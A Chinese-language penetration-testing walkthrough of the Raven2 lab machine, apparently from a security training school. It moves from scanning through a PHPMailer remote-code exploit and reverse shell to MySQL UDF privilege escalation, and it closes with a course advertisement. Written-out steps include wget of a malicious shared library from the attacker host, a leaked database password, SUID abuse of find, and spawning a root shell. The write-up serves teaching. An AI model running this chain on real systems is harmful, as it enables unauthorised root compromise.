提權是滲透測試中一個非常重要的環節。MySQL 是大家再熟悉不過的一種資料庫了。同樣在滲透測試中,MySQL也是漏洞利用的常見點,利用MySQL不僅僅是進入資料庫進行增删改查,或者get shell ,更多的利用MySQL是在提高權限上。除此之外,在應聘者面試中,MySQL的提權操作,也是經常被問的一個問題。
0x00 資訊收集
用nmap探測靶機所在網段
nmap -sV 192.168.2.0/24
因為服務提供給外部是通過端口來實作的,通過端口我們可以探測主機開啟了什麼服務。
可以看到靶機開啟了22,80,111 端口,開啟對應的服務分别是 ssh,http,rpcbind服務
0x01 嘗試爆破ssh
爆破賬号密碼失敗
0x02 嘗試web服務
先四處點選看一看,看看有沒有什麼可以利用的點,如果沒有什麼發現,還可以敏感檔案探測一下。很幸運發現搭建了wordpress部落格 。
點選部落格,發現進行了302跳轉
因為你域名一開始是ip後面跟着wordpress,點選确發生了域名+wordpress,網站還是那個網站,但是确通路不到了,是因為raven.local 沒有被解析為192.168.2.139,是以要在攻擊機上配置hosts檔案。
vim /etc/hosts
再次通路
嘗試wordpress 測試 利用wpscan 進行探測
wpscan --url http://raven.local/wordpress/
嘗試使用者枚舉
wpscan --url http://raven.local/wordpress/ --enumerate u
枚舉失敗,但是發現了很多的敏感檔案目錄
依次探測發現了flag3,看來敏感檔案探測中有東西,直接敏感檔案探測
0x03 敏感檔案探測
既然有敏感檔案洩露,就直接探測網站根目錄下的敏感檔案
dirb http://raven.local/
依次通路,發現當通路到vendor時,出現了目錄
依次點選檢視,發現了flag1 ,網站路徑,還有可以利用漏洞的phpmail,和版本資訊
0x04 phpmail 版本漏洞利用
搜尋可以利用的漏洞
searchsploit phpmail
由于目标版本是5.2.16 是以很多的exploit 都可以用,但是我們要盡快取得權限,是以直接選可以指令執行的exploit,又因為python腳本最好利用,是以我們直接選擇 40974.py
注意:exploit 的路徑為
┌──(rootkali)-[/usr/…/exploitdb/exploits/php/webapps]
└─# pwd
/usr/share/exploitdb/exploits/php/webapps
将40974.py複制到桌面
cp 40974.py /root/Desktop
編輯 40974.py
我們需要修改的是目标位址,監聽位址和端口,目标網站路徑(這個前面已經說過了為/var/www/html/)和後門檔案名,為了使網站更快的解析我們的請求,我們要設定目标為ip然後注入到一個php檔案内
修改之後為
執行exploit,此時已經将後門注入到了這個contact.php 檔案
通路連結,生成後門
http://192.168.2.139/contact.php
開啟4444監聽端口
通路後門位址,反彈shell
http://192.168.2.139/back.php
拿到flag2
0x05 提權準備
有的時候這種shell可能會中斷,是以我們要開啟一個互動式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
一般到了這個時候,就需要提權了。因為我們是從網站打進來的,網站就會有互動,和誰互動呢? 和資料庫互動。既然和資料庫互動,那網站配置檔案裡面是不是有資料庫的配置資訊? 既然有資料庫資訊,我們是不是就可以利用資料庫進行提權操作。是以說資料庫提權是很常用的提權操作。
查找配置檔案的敏感詞,比如username,password等
grep "password" -rn wp-config.php
可以看到配置檔案裡面有資料庫配置資訊
cat wp-config.php
得到MySQL 使用者:root 密碼:R@v3nSecurity
嘗試連接配接MySQL,連接配接成功,版本是5.5.60
MySQL -uroot -pR@v3nSecurity
檢視是否具有導入導出的權限,沒有導入導出權限是無法提權的
show global variables like 'secure%';
發現沒有任何限制,可以進行提權操作,即secure_file_priv的值什麼都沒有。
0x06 進行提權
搜尋MySQL提權exploit udf ,我們找到适合5.0版本的exploit
複制exploit 到桌面
編譯1518.c 為.o檔案 gcc -g -c 1518.c
建立動态連結庫 gcc -g -shared -o test.so 1518.o -lc
指令參數解釋
-g 生成調試資訊 -c 編譯(二進制)-shared:建立一個動态連結庫,輸入檔案可以是源檔案、彙編檔案或者目标檔案。-o:執行指令後的檔案名 -lc:-l 庫 c庫名
攻擊機器開啟http服務,将test.so放到攻擊機網站目錄中,進而使目标機通過web服務,下載下傳test.so
操作目标機,下載下傳動态連結庫
wget http://192.168.2.131/test.so
進入到資料庫,進行以下操作
連接配接MySQL
MySQL -uroot -pR@v3nSecurity
使用MySQL表
use MySQL;
建立表raven2
create table raven2(line blob);
往表中插入剛才上傳的檔案
insert into raven2 values(load_file('/var/www/html/test.so'));
把檔案導出
select * from raven2 into dumpfile '/usr/lib/MySQL/plugin/test.so';
建立自定義函數do_system,類型是integer,别名(soname)檔案名字,然後查詢函數是否建立成功:
create function do_system returns integer soname 'test.so';
檢視建立的函數
select * from MySQL.func;
調用do_system函數來給find指令所有者的suid權限,使其可以執行root指令
select do_system('chmod u+s /usr/bin/find');
執行find指令
find / -exec "/bin/sh" \;
提權成功
進入到/root,擷取flag
蜂鳥信安學苑秉承“以人為本”的理念,專注于網絡安全行業教育事業,以“就業”為己任,以“實戰成長進階”為目标,以“實戰技能培養”為核心,通過多元化實踐以及内部模拟實戰方式,為真正熱愛網絡安全的學員提供全面綜合能力進階的平台,歡迎網上咨詢或前來參觀。
學完蜂鳥課程各階段将掌握的能力
網絡基礎
能夠掌握網絡的通訊原理、網絡協定、ACL規則的配置設定、路由的操作等,在工作中能夠發現、排查常見的網絡問題。
系統和環境
了解Linux、Windows的特性及操作,能夠解決常見的伺服器問題,包括中間件的部署、調試,能夠勝任大部分日常的運維工作。
資料庫
通過學習可以掌握常見的資料庫的部署、配置、常見的操作以及安全排查的能力。
安全産品
通過學習能夠掌握常見的安全裝置(例如WAF、SOC、FW等)的原理、特性、作用場景以及如何分析安全産品輸出的結果,并不局限于某一家安全廠商的産品,在工作的時候能夠從容應對。
産品經理
掌握産品的功能、特性包括産品的上架規劃、部署架構等。同時還能掌握标書的編寫,與技術人員的溝通方式,有利于日常工作中的有效的交流。
開發語言
通過多種程式設計語言的學習,可了解各個語言的特性,尋找适合自己的語言,同時保證自己遇到别的語言的問題的時候能夠調試、分析。
web漏洞
能夠掌握漏洞的産生原因、攻擊手段、修複方式,在平常的工作中可綜合靈活地運用。
CTF
了解CTF的各個方向所需的技能,着重講解的web方向的題型、解題思路。
滲透測試
掌握WEB系統滲透測試方法,能夠編寫滲透測試報告,以及如何給出合适的修複建議。
攻防演練
了解接下來工作期間需要參與的重大項目,規則、攻擊手段、報告編寫的方式,能夠單獨參與小目标的項目。
應急響應
無論是在甲方還是在乙方,都需要掌握的一項技能,如何應對威脅、威脅的分類以及如何處置威脅更快的回複業務,複盤總結如何加強現有的安全體系。